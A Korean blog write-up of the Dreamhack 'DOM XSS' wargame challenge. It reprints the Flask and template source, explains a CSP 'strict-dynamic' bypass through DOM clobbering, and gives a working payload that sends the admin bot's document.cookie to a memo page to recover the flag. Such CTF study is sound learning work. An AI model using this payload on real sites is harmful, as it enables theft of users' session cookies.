본문 바로가기
STUDY/Dreamhack

[WEB] DOM XSS

by CH@3M 2024. 7. 9.

https://dreamhack.io/wargame/challenges/438

 

DOM XSS

Description Exercise: DOM XSS에서 실습하는 문제입니다. 문제 수정 내역 2023.08.11 Dockerfile 제공

dreamhack.io

 

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",

            
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, name, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}"
    return read_url(url, cookie)

# CSP 에서 'strict-dynamic' 설정이 되어있음 : 동적으로 스크립트를 로드하는 것을 허용
# base에 대한 CSP 설정이 없어서 base 태그를 활용해도 XSS가 가능
@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", nonce=nonce, param=param)


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        name = request.form.get("name")
        if not check_xss(param, name, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

일반적인 XSS는 render_template 로 인해 막혀있고 render_template는 html로 랜더링 해주는 것이기 때문에 DOM-XSS 취약점이 가능

vuln.html

{% extends "base.html" %}
{% block title %}Index{% endblock %}

{% block head %}
  {{ super() }}
  <style type="text/css">
    .important { color: #336699; }
  </style>
{% endblock %}

{% block content %}

  <script nonce={{ nonce }}>
    window.addEventListener("load", function() {
      var name_elem = document.getElementById("name");
      name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
    });
 </script>
  {{ param | safe }}
  <pre id="name"></pre>
<!-- pre 태그보다 param으로 전송한 fragment 데이터가 먼저 로드된다. 따라서 pre 태그와 같은 id로 스크립트 태그를 frament로 작성해서 전송하면 DOM Clobbering이 발생 -->
{% endblock %}

 

vuln page 에서 param에 대한 아이디어를 얻을 수 있다.

스크립트를 삽입해보면, 실행되는 것을 확인할 수 있다. 처음에 여기 페이지에서 스크립트로 flag를 출력하려고 시도를 다양하게 했는데 잘 되지않았다.

위 코드에서 본 대로, flag 메뉴에서

<script id=name></script>, location.href='/memo?memo='+document.cookie;//

제출하면 good 이라는 alert가 뜨고 memo에 flag가 저장되어 있는 것을 확인할 수 있다.

반응형

'STUDY > Dreamhack' 카테고리의 다른 글

[Dreamhack] CSP Bypass(web,2)  (0) 2024.07.13
[Dreamhack] Long Sleep(rev, 2)  (0) 2024.07.10
[WEB] Switching Command  (0) 2024.06.23
[rev] Summer Fan (level2)  (0) 2024.06.15
[web] Dream Gallery (level2)  (1) 2024.06.14